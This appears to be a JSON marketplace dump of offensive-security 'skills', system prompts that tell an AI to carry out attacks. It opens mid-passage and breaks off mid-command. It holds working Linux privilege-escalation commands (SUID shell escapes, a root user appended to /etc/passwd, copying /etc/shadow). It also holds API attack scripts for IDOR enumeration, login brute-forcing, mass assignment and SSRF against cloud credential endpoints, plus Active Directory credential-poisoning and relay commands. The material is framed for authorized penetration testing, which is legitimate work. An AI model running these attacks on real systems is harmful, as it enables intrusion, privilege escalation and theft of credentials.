exploit suggestion\n./linux-exploit-suggester.sh --uname \"$(uname -r)\"\n\n# pspy -- monitor processes without root (watches procfs)\n./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out\n```\n\nReview LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.\n\n---\n\n## SUID/SGID Binary Abuse\n\nSUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.\n\n### Enumeration\n\n```bash\n# Find all SUID/SGID binaries\nfind / -perm -4000 -type f 2>/dev/null\nfind / -perm -2000 -type f 2>/dev/null\nfind / -perm -u=s -type f -exec ls -la {} \\; 2>/dev/null\n```\n\n### Exploitation via GTFOBins\n\n```bash\n# If find is SUID\nfind . -exec /bin/sh -p \\;\n\n# If vim is SUID\nvim -c ':!/bin/sh'\n\n# If python3 is SUID\npython3 -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'\n\n# If cp is SUID -- overwrite /etc/passwd\ncp /etc/passwd /dev/shm/passwd.bak\necho 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified\ncp /dev/shm/passwd_modified /etc/passwd\n\n# If bash is SUID\nbash -p\n\n# If nmap (old interactive mode) is SUID\nnmap --interactive\n!sh\n```\n\n### Custom SUID Binary Analysis\n\n```bash\n# Check what libraries a SUID binary loads\nldd /usr/local/bin/custom_suid\nstrace /usr/local/bin/custom_suid 2>&1 | grep -i open\n\n# Check for relative path calls in the binary\nstrings /usr/local/bin/custom_suid | grep -E '^[a-z]'\nltrace /usr/local/bin/custom_suid 2>&1\n```\n\nIf a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.\n\n---\n\n## Linux Capabilities Exploitation\n\nCapabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.\n\n```bash\n# Find binaries with capabilities set\ngetcap -r / 2>/dev/null\n```\n\n### Exploitation\n\n```bash\n# cap_setuid on python3\npython3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n\n# cap_setuid on perl\nperl -e 'use POSIX qw(setuid); setuid(0); exec \"/bin/bash\";'\n\n# cap_dac_override on vim (read/write any file)\nvim /etc/shadow\n\n# cap_dac_read_search on tar (read any file)\ntar czf /dev/shm/shadow.tar.gz /etc/shadow\ntar xzf /dev/shm/shadow.tar.gz -C /dev/sh","createdAt":"2026-09-25T10:52:31.376Z","updatedAt":"2026-09-25T10:52:31.376Z"},{"id":"cmugudco9013hqu06taf5cwj4","slug":"snailsploit-claude-red-offensive-api-security","name":"offensive-api-security","description":"Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. 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Designed for authorized penetration testing engagements against API-driven architectures.","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-api-security","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.","permissions":[],"systemPrompt":"# Offensive API Security Testing\n\nYou are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.\n\n## Quick Workflow\n\n1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.\n2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.\n3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts.\n4. Probe authorization boundaries with BFLA checks across roles and HTTP methods.\n5. Fuzz parameters for mass assignment, content-type switching, and verb tampering.\n6. Assess rate limiting and resource consumption controls.\n7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.\n8. Evaluate WebSocket security: origin validation, message integrity, CSWSH.\n9. Check for SSRF via URL-accepting parameters and webhook configurations.\n10. Document findings with reproduction steps and severity ratings.\n\n---\n\n## OWASP API Top 10 2023 -- BOLA and IDOR\n\nBroken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.\n\n```http\nGET /api/v1/users/1001/orders HTTP/1.1\nAuthorization: Bearer eyJhbGciOi...user_a_token\nHost: target.example.com\n```\n\nReplay with a different user ID while retaining the original token:\n\n```http\nGET /api/v1/users/1002/orders HTTP/1.1\nAuthorization: Bearer eyJhbGciOi...user_a_token\nHost: target.example.com\n```\n\nAutomate IDOR testing across sequential and UUID-based identifiers:\n\n```bash\n# Sequential ID enumeration\nfor id in $(seq 1000 1050); do\n status=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -H \"Authorization: Bearer $TOKEN_A\" \\\n \"https://target.example.com/api/v1/users/${id}/orders\")\n echo \"ID: ${id} -> HTTP ${status}\"\ndone\n```\n\n```bash\n# Test with collected UUIDs from other endpoints\nwhile read -r uuid; do\n resp=$(curl -s -H \"Authorization: Bearer $TOKEN_A\" \\\n \"https://target.example.com/api/v1/documents/${uuid}\")\n echo \"UUID: ${uuid} -> $(echo \"$resp\" | jq -r '.owner // \"no_owner_field\"')\"\ndone < collected_uuids.txt\n```\n\nTest across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:\n\n```bash\nfor method in GET PUT PATCH DELETE; do\n curl -s -o /dev/null -w \"${method} -> %{http_code}\\n\" \\\n -X \"${method}\" \\\n -H \"Authorization: Bearer $TOKEN_A\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"status\":\"cancelled\"}' \\\n \"https://target.example.com/api/v1/users/1002/orders/5001\"\ndone\n```\n\n---\n\n## Broken Authentication and Excessive Data Exposure\n\nTest authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.\n\n```bash\n# Rapid credential testing -- probe for missing rate limits on login\nfor i in $(seq 1 100); do\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \"{\\\"email\\\":\\\"test@example.com\\\",\\\"password\\\":\\\"attempt${i}\\\"}\" \\\n \"https://target.example.com/api/v1/auth/login\")\n echo \"Attempt ${i}: HTTP ${code}\"\n [ \"$code\" = \"429\" ] && echo \"Rate limit hit at attempt ${i}\" && break\ndone\n```\n\nCheck for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:\n\n```bash\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/users/me\" | jq .\n```\n\nTest token validation weaknesses:\n\n```bash\n# Expired token, post-password-change token, malformed bearer values\ncurl -s -o /dev/null -w \"Expired: %{http_code}\\n\" \\\n -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n \"https://target.example.com/api/v1/users/me\"\n\ncurl -s -o /dev/null -w \"Pre-change: %{http_code}\\n\" \\\n -H \"Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN\" \\\n \"https://target.example.com/api/v1/users/me\"\n\nfor val in \"\" \"null\" \"undefined\" \"Bearer\" \"Bearer \"; do\n curl -s -o /dev/null -w \"Value '${val}' -> %{http_code}\\n\" \\\n -H \"Authorization: ${val}\" \\\n \"https://target.example.com/api/v1/users/me\"\ndone\n```\n\n---\n\n## Rate Limiting and Resource Consumption\n\nTest for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination.\n\n```bash\n# Measure rate limit headers across rapid requests\nfor i in $(seq 1 50); do\n curl -s -D - -o /dev/null \\\n -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/search?q=test\" 2>&1 | \\\n grep -iE \"x-rate|retry-after|x-ratelimit\"\n sleep 0.1\ndone\n```\n\n```bash\n# Pagination abuse and large payload submission\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/products?page=1&per_page=100000\" | jq 'length'\n\npython3 -c \"\nimport json, sys\npayload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}\nsys.stdout.write(json.dumps(payload))\n\" | curl -s -o /dev/null -w \"Large payload: %{http_code}\\n\" \\\n -X POST -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" -d @- \\\n \"https://target.example.com/api/v1/products\"\n```\n\n---\n\n## BFLA and Mass Assignment\n\nBroken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.\n\n```bash\n# BFLA: Test admin endpoints with regular user token\nadmin_endpoints=(\n \"GET /api/v1/admin/users\"\n \"POST /api/v1/admin/users\"\n \"DELETE /api/v1/admin/users/1001\"\n \"GET /api/v1/admin/config\"\n \"PUT /api/v1/admin/config\"\n \"GET /api/v1/internal/metrics\"\n)\n\nfor ep in \"${admin_endpoints[@]}\"; do\n method=$(echo \"$ep\" | cut -d' ' -f1)\n path=$(echo \"$ep\" | cut -d' ' -f2)\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X \"$method\" -H \"Authorization: Bearer $REGULAR_USER_TOKEN\" \\\n \"https://target.example.com${path}\")\n echo \"${method} ${path} -> HTTP ${code}\"\ndone\n```\n\n```bash\n# Mass assignment: inject properties that should not be user-controllable\ncurl -s -X PUT \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"name\": \"Updated Name\",\n \"role\": \"admin\",\n \"is_admin\": true,\n \"permissions\": [\"admin\", \"superuser\"],\n \"account_type\": \"premium\",\n \"credit_balance\": 99999\n }' \\\n \"https://target.example.com/api/v1/users/me\" | jq .\n```\n\n---\n\n## REST Verb Tampering and Content-Type Switching\n\nAPIs sometimes apply security controls only to expected HTTP methods or content types. You exploit this by sending requests with unexpected methods or by switching the serialization format.\n\n```bash\n# Verb tampering: test all methods against a restricted endpoint\nfor method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X \"$method\" -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/admin/settings\")\n echo \"${method} -> HTTP ${code}\"\ndone\n```\n\n```bash\n# Method override headers -- bypass method-based WAF rules\ncurl -s -X POST \\\n -H \"X-HTTP-Method-Override: DELETE\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/users/1002\"\n\ncurl -s -X POST \\\n -H \"X-Method-Override: PUT\" -H \"X-HTTP-Method: PATCH\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"role\":\"admin\"}' \\\n \"https://target.example.com/api/v1/users/me\"\n```\n\n```bash\n# Content-type switching and parameter pollution\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -d \"username=admin&password=test&role=admin\" \\\n \"https://target.example.com/api/v1/users\"\n\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/xml\" \\\n -d 'testadmin' \\\n \"https://target.example.com/api/v1/users\"\n\n# Parameter pollution via duplicate keys\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim\"\n```\n\n---\n\n## SSRF via API Parameters\n\nServer-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints.\n\n```bash\nssrf_payloads=(\n \"http://169.254.169.254/latest/meta-data/\"\n \"http://metadata.google.internal/computeMetadata/v1/\"\n \"http://127.0.0.1:8080/admin\"\n \"http://[::1]:8080/\"\n \"http://0x7f000001/\"\n \"http://internal-service.local/\"\n)\n\nfor payload in \"${ssrf_payloads[@]}\"; do\n echo \"--- Testing: ${payload}\"\n curl -s -X POST -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"webhook_url\\\": \\\"${payload}\\\"}\" \\\n \"https://target.example.com/api/v1/integrations/webhook\" | head -c 500\n echo\ndone\n```\n\nTest SSRF through import/export and profile features:\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"import_url\": \"http://169.254.169.254/latest/user-data\"}' \\\n \"https://target.example.com/api/v1/data/import\"\n\ncurl -s -X PUT -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"avatar_url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}' \\\n \"https://target.example.com/api/v1/users/me/profile\"\n```\n\n---\n\n## gRPC Security Testing\n\ngRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic.\n\n```bash\n# Enumerate services via gRPC reflection\ngrpcurl -plaintext target.example.com:50051 list\ngrpcurl -plaintext target.example.com:50051 describe myapp.UserService\ngrpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser\n```\n\n```bash\n# Test BOLA on gRPC -- access another user's data with your token\ngrpcurl -plaintext \\\n -H \"authorization: Bearer $TOKEN_A\" \\\n -d '{\"user_id\": \"1002\"}' \\\n target.example.com:50051 myapp.UserService/GetUser\n\n# Test admin methods with regular user credentials\ngrpcurl -plaintext \\\n -H \"authorization: Bearer $REGULAR_TOKEN\" \\\n -d '{}' \\\n target.example.com:50051 myapp.AdminService/ListAllUsers\n```\n\nMetadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:\n\n```bash\ngrpcurl -plaintext \\\n -H \"authorization: Bearer $TOKEN\" \\\n -H \"x-forwarded-for: 127.0.0.1\" \\\n -H \"x-internal-service: true\" \\\n -H \"x-user-role: admin\" \\\n -d '{}' \\\n target.example.com:50051 myapp.AdminService/GetConfig\n```\n\nIntercept and modify gRPC traffic with mitmproxy:\n\n```python\n# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)\n# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051\nfrom mitmproxy import http\n\nclass GrpcInspector:\n def request(self, flow: http.HTTPFlow):\n if flow.request.headers.get(\"content-type\", \"\").startswith(\"application/grpc\"):\n print(f\"[gRPC] {flow.request.method} {flow.request.path}\")\n for k, v in flow.request.headers.items():\n if not k.startswith(\":\"):\n print(f\" Metadata: {k}: {v}\")\n\n def response(self, flow: http.HTTPFlow):\n if flow.response and \"grpc-status\" in flow.response.headers:\n print(f\"[gRPC Response] Status: {flow.response.headers['grpc-status']}\")\n\naddons = [GrpcInspector()]\n```\n\n---\n\n## WebSocket Security Testing\n\nWebSocket connections bypass many traditional HTTP security controls. You test origin validation, message injection, authentication persistence, and cross-site WebSocket hijacking.\n\n```bash\n# Origin validation testing with websocat\nwebsocat -H \"Origin: https://evil.example.com\" \"wss://target.example.com/ws/chat\"\nwebsocat \"wss://target.example.com/ws/chat\" # no origin\nwebsocat -H \"Origin: https://subdomain.target.example.com\" \"wss://target.example.com/ws/chat\"\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"WebSocket message fuzzing and injection testing.\"\"\"\nimport asyncio, websockets, json\n\nasync def test_ws_injection(url, token):\n headers = {\"Cookie\": f\"session={token}\"}\n async with websockets.connect(url, extra_headers=headers) as ws:\n test_payloads = [\n json.dumps({\"type\": \"message\", \"content\": \"hello\"}),\n json.dumps({\"type\": \"message\", \"content\": \"hello\", \"user_id\": \"1002\"}),\n json.dumps({\"type\": \"admin_broadcast\", \"content\": \"injected\"}),\n json.dumps({\"type\": \"subscribe\", \"channel\": \"../admin/notifications\"}),\n json.dumps({\"type\": \"message\", \"content\": \"A\" * 1000000}),\n ]\n for payload in test_payloads:\n await ws.send(payload)\n try:\n response = await asyncio.wait_for(ws.recv(), timeout=3)\n print(f\"Sent: {payload[:80]}\\nRecv: {response[:200]}\\n---\")\n except asyncio.TimeoutError:\n print(f\"Sent: {payload[:80]} -> No response\\n---\")\n\nasyncio.run(test_ws_injection(\"wss://target.example.com/ws/chat\", \"SESSION_TOKEN\"))\n```\n\nCross-Site WebSocket Hijacking (CSWSH) verification:\n\n```html\n\n\n```\n\n---\n\n## API Versioning and Security Misconfiguration\n\nAPIs that maintain multiple versions often have inconsistent security controls. Deprecated versions may lack patches applied to current versions.\n\n```bash\n# Enumerate API versions\nversions=(\"v1\" \"v2\" \"v3\" \"v0\" \"v1-beta\" \"v2-beta\" \"internal\" \"latest\" \"dev\" \"staging\")\nfor ver in \"${versions[@]}\"; do\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/${ver}/users/me\")\n [ \"$code\" != \"404\" ] && echo \"Version '${ver}' -> HTTP ${code}\"\ndone\n```\n\n```bash\n# Check for exposed documentation and debug endpoints\nendpoints=(\n \"/swagger.json\" \"/swagger-ui/\" \"/openapi.json\" \"/api-docs\"\n \"/graphql\" \"/graphiql\" \"/.well-known/openid-configuration\"\n \"/actuator\" \"/actuator/env\" \"/actuator/health\"\n \"/debug\" \"/trace\" \"/metrics\" \"/_profiler\"\n)\nfor ep in \"${endpoints[@]}\"; do\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \"https://target.example.com${ep}\")\n [ \"$code\" != \"404\" ] && [ \"$code\" != \"000\" ] && echo \"${ep} -> HTTP ${code}\"\ndone\n```\n\n```bash\n# CORS misconfiguration testing\ncurl -s -D - -o /dev/null \\\n -H \"Origin: https://evil.example.com\" -X OPTIONS \\\n \"https://target.example.com/api/v1/users/me\" 2>&1 | \\\n grep -iE \"access-control|allow-origin|allow-credentials\"\n\ncurl -s -D - -o /dev/null -H \"Origin: null\" \\\n \"https://target.example.com/api/v1/users/me\" 2>&1 | grep -i \"access-control\"\n\n# Security header audit\ncurl -s -D - -o /dev/null \"https://target.example.com/api/v1/health\" 2>&1 | \\\n grep -iE \"x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:\"\n```\n\n---\n\n## Detection / Defender View\n\nWhen you run these tests, you leave artifacts that defenders and monitoring systems detect:\n\n- **BOLA/IDOR probes** generate sequences of requests with incrementing or random object IDs from a single session. API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.\n\n- **Rate limit testing** produces burst traffic visible in access logs. HTTP 429 responses trigger SIEM alerts. Repeated authentication failures activate account lockout mechanisms.\n\n- **Verb tampering and method override** requests with unusual HTTP methods or override headers stand out in access logs. Security-conscious applications alert on method override header usage.\n\n- **gRPC reflection enumeration** is logged by interceptors. Calls to the reflection service from non-development IPs trigger alerts. Metadata injection attempts appear in gRPC access logs.\n\n- **WebSocket testing** generates connection attempts with unusual Origin headers logged at the load balancer. CSWSH attempts may trigger CSP violation reports.\n\n- **SSRF payloads** containing internal IPs or metadata URLs are flagged by WAFs. Outbound connections to unexpected destinations trigger network monitoring alerts.\n\n- **Version probing** creates 404 bursts across multiple path prefixes from a single source IP.\n\n---\n\n## Engagement Cheatsheet\n\n| Phase | Action | Tool |\n|-------|--------|------|\n| Reconnaissance | Collect API specs | Burp crawler, Swagger endpoints |\n| Reconnaissance | gRPC service enumeration | grpcurl with reflection |\n| Reconnaissance | WebSocket endpoint discovery | Burp Suite, DevTools |\n| Authentication | Token lifecycle testing | curl, Burp Repeater |\n| Authorization | BOLA/IDOR across objects | curl loops, Burp Intruder |\n| Authorization | BFLA across roles | curl with multiple tokens |\n| Input handling | Mass assignment | curl, Postman |\n| Input handling | Content-type switching | curl with varied headers |\n| Protocol | gRPC metadata injection | grpcurl |\n| Protocol | gRPC protobuf interception | mitmproxy with addon |\n| Protocol | WebSocket injection | websocat, Python websockets |\n| Protocol | CSWSH verification | Custom HTML test page |\n| Infrastructure | SSRF via URL parameters | curl, Burp Collaborator |\n| Infrastructure | API versioning bypass | curl version enumeration |\n| Infrastructure | Misconfiguration scan | curl, Burp scanner |\n\n---\n\n## Key References\n\n- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/\n- gRPC Security Documentation: https://grpc.io/docs/guides/auth/\n- WebSocket Security (RFC 6455 Section 10): https://datatracker.ietf.org/doc/html/rfc6455#section-10\n- Burp Suite API Testing: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing\n- grpcurl: https://github.com/fullstorydev/grpcurl\n- websocat: https://github.com/vi/websocat\n- mitmproxy: https://docs.mitmproxy.org/\n- PortSwigger Academy -- API Testing: https://portswigger.net/web-security/api-testing\n- \"Hacking APIs\" by Corey Ball (No Starch Press)","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/api/offensive-api-security","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/api/offensive-api-security/SKILL.md","defaultBranch":"main"},"readme":"# Offensive API Security Testing\n\nYou are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.\n\n## Quick Workflow\n\n1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.\n2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.\n3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts.\n4. Probe authorization boundaries with BFLA checks across roles and HTTP methods.\n5. Fuzz parameters for mass assignment, content-type switching, and verb tampering.\n6. Assess rate limiting and resource consumption controls.\n7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.\n8. Evaluate WebSocket security: origin validation, message integrity, CSWSH.\n9. Check for SSRF via URL-accepting parameters and webhook configurations.\n10. Document findings with reproduction steps and severity ratings.\n\n---\n\n## OWASP API Top 10 2023 -- BOLA and IDOR\n\nBroken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.\n\n```http\nGET /api/v1/users/1001/orders HTTP/1.1\nAuthorization: Bearer eyJhbGciOi...user_a_token\nHost: target.example.com\n```\n\nReplay with a different user ID while retaining the original token:\n\n```http\nGET /api/v1/users/1002/orders HTTP/1.1\nAuthorization: Bearer eyJhbGciOi...user_a_token\nHost: target.example.com\n```\n\nAutomate IDOR testing across sequential and UUID-based identifiers:\n\n```bash\n# Sequential ID enumeration\nfor id in $(seq 1000 1050); do\n status=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -H \"Authorization: Bearer $TOKEN_A\" \\\n \"https://target.example.com/api/v1/users/${id}/orders\")\n echo \"ID: ${id} -> HTTP ${status}\"\ndone\n```\n\n```bash\n# Test with collected UUIDs from other endpoints\nwhile read -r uuid; do\n resp=$(curl -s -H \"Authorization: Bearer $TOKEN_A\" \\\n \"https://target.example.com/api/v1/documents/${uuid}\")\n echo \"UUID: ${uuid} -> $(echo \"$resp\" | jq -r '.owner // \"no_owner_field\"')\"\ndone < collected_uuids.txt\n```\n\nTest across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:\n\n```bash\nfor method in GET PUT PATCH DELETE; do\n curl -s -o /dev/null -w \"${method} -> %{http_code}\\n\" \\\n -X \"${method}\" \\\n -H \"Authorization: Bearer $TOKEN_A\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"status\":\"cancelled\"}' \\\n \"https://target.example.com/api/v1/users/1002/orders/5001\"\ndone\n```\n\n---\n\n## Broken Authentication and Excessive Data Exposure\n\nTest authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.\n\n```bash\n# Rapid credential testing -- probe for missing rate limits on login\nfor i in $(seq 1 100); do\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \"{\\\"email\\\":\\\"test@example.com\\\",\\\"password\\\":\\\"attempt${i}\\\"}\" \\\n \"https://target.example.com/api/v1/auth/login\")\n echo \"Attempt ${i}: HTTP ${code}\"\n [ \"$code\" = \"429\" ] && echo \"Rate limit hit at attempt ${i}\" && break\ndone\n```\n\nCheck for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:\n\n```bash\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n \"https://target.example.com/api/v1/users/me\" | jq .\n```\n\nTest token validation weaknesses:\n\n```bash\n# Expired token, post-password-change token","createdAt":"2026-09-25T10:52:30.441Z","updatedAt":"2026-09-25T10:52:30.441Z"},{"id":"cmugudchx0135qu06vuflmst0","slug":"snailsploit-claude-red-offensive-active-directory","name":"offensive-active-directory","description":"Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-active-directory","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.","permissions":[],"systemPrompt":"# Active Directory — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries\n2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed\n3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0\n4. Execute path with lowest detection cost, validate at each hop\n5. Establish persistence and document every action with timestamps\n\n---\n\n## Reconnaissance\n\n### BloodHound Collection\n\n```powershell\n# SharpHound (CSharp collector) — most stealthy with throttling\nSharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip\n\n# Stealth collection (DC-only, avoids workstation noise)\nSharpHound.exe -c DCOnly --Stealth\n\n# Bloodhound.py from Linux (no Windows host needed)\nbloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All\n```\n\n### PowerView (No Tool Drop)\n\n```powershell\n# Domain enumeration without binaries\n$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\nGet-DomainUser -SPN | Select samaccountname,serviceprincipalname\nGet-DomainComputer -Unconstrained\nGet-DomainGPO | ?{$_.gpcmachineextensionnames -match \"Restricted Groups\"}\nGet-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |\n ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}\n```\n\n### ADExplorer Offline\n\n```\n# Take snapshot from any low-priv user, analyze offline\nADExplorer.exe → File → Create Snapshot\n# Convert to BloodHound format\nADExplorerSnapshot.py snapshot.dat -o output/\n```\n\n---\n\n## Credential Harvesting\n\n### LLMNR / NBT-NS / mDNS Poisoning\n\n```bash\n# Capture NetNTLMv2 hashes from broadcast resolution\nresponder -I eth0 -wrf\n\n# Inveigh (Windows-side, when you have a foothold)\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y\n```\n\nCrack with hashcat mode 5600. If cracking fails, relay instead.\n\n### NTLM Relay\n\n```bash\n# Identify relay targets (no SMB signing, LDAP signing not required)\nnxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt\n\n# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request\nimpacket-ntlmrelayx -tf relay-targets.txt 